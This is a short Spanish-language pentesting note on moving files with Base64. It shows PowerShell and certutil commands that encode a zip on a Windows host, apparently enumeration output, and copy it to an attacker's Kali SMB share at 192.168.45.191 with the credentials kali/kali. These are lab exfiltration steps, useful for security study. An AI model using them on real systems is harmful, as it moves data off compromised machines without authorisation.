Transferencia de archivos con base64

Tecnicas de transferencias de archivos con Base64

La codificación Base64 se utiliza para representar datos binarios como una cadena de caracteres ASCII. Dado que convierte datos binarios arbitrarios en texto, es adecuada para cualquier tipo de archivo, independientemente de su contenido o extensión. Aquí hay algunas aclaraciones:

  1. Archivos Binarios: La codificación Base64 es especialmente útil para archivos binarios que no son fácilmente representables como texto, como imágenes (.jpg, .png), archivos de audio (.mp3, .wav), archivos de video (.mp4, .avi), archivos ejecutables (.exe, .dll) y, por supuesto, archivos .zip.

  2. Archivos de Texto y Scripts: También puedes codificar archivos de texto o scripts (como .txt, .js, .py, etc.) en Base64. No obstante, en muchos casos, codificar archivos de texto en Base64 es innecesario ya que estos archivos ya contienen caracteres legibles.

  3. Corrupción de Archivos: La codificación y decodificación en Base64 no corromperá tus archivos siempre que el proceso se realice correctamente. Sin embargo, es importante que, si estás transfiriendo o almacenando la cadena Base64 resultante, asegures que no se altere ni modifique. Cualquier cambio en la cadena codificada resultará en un archivo decodificado corrupto.

  4. Tamaño del Archivo: Es importante recordar que la codificación Base64 aumentará el tamaño del archivo original aproximadamente en un 33%. Esto se debe a la forma en que Base64 representa datos binarios en texto.

Para transferir archivos podemos utilizar base64 para codificar y luego decodificar en el kali:

Utilizando PowerShell

PS C:\> $bytes = [System.IO.File]::ReadAllBytes("20230903112419_spartan.zip")
PS C:\> $base64 = [System.Convert]::ToBase64String($bytes)
PS C:\> Set-Content -Value $base64 -Path psb64.txt

Utilizando CertUtil:

C:\Users\gerh\Documents> certutil -encode 20230903112419_spartan.zip certb64.txt
Input Length = 11524
Output Length = 15906
CertUtil: -encode command completed successfully.

Y luego podemos trasladar el contenido para decodificar:

C:\Users\gerh\Documents> net use \\192.168.45.191\kali-share /u:kali kali
The command completed successfully.

C:\Users\pete\Documents> copy certb64.txt \\192.168.45.191\kali-share\certb64.txt
        1 file(s) copied.

C:\Users\pete\Documents> copy psb64.txt \\192.168.45.191\kali-share\psb64.txt
        1 file(s) copied.

Para decodificar y obtener el archivo original:

C:\Users\gerh\Documents> certutil -decode .\psb64.txt comply.zip
Longitud de entrada = 15370
Longitud de salida = 11524
CertUtil: -decode comando completado correctamente.

Última actualización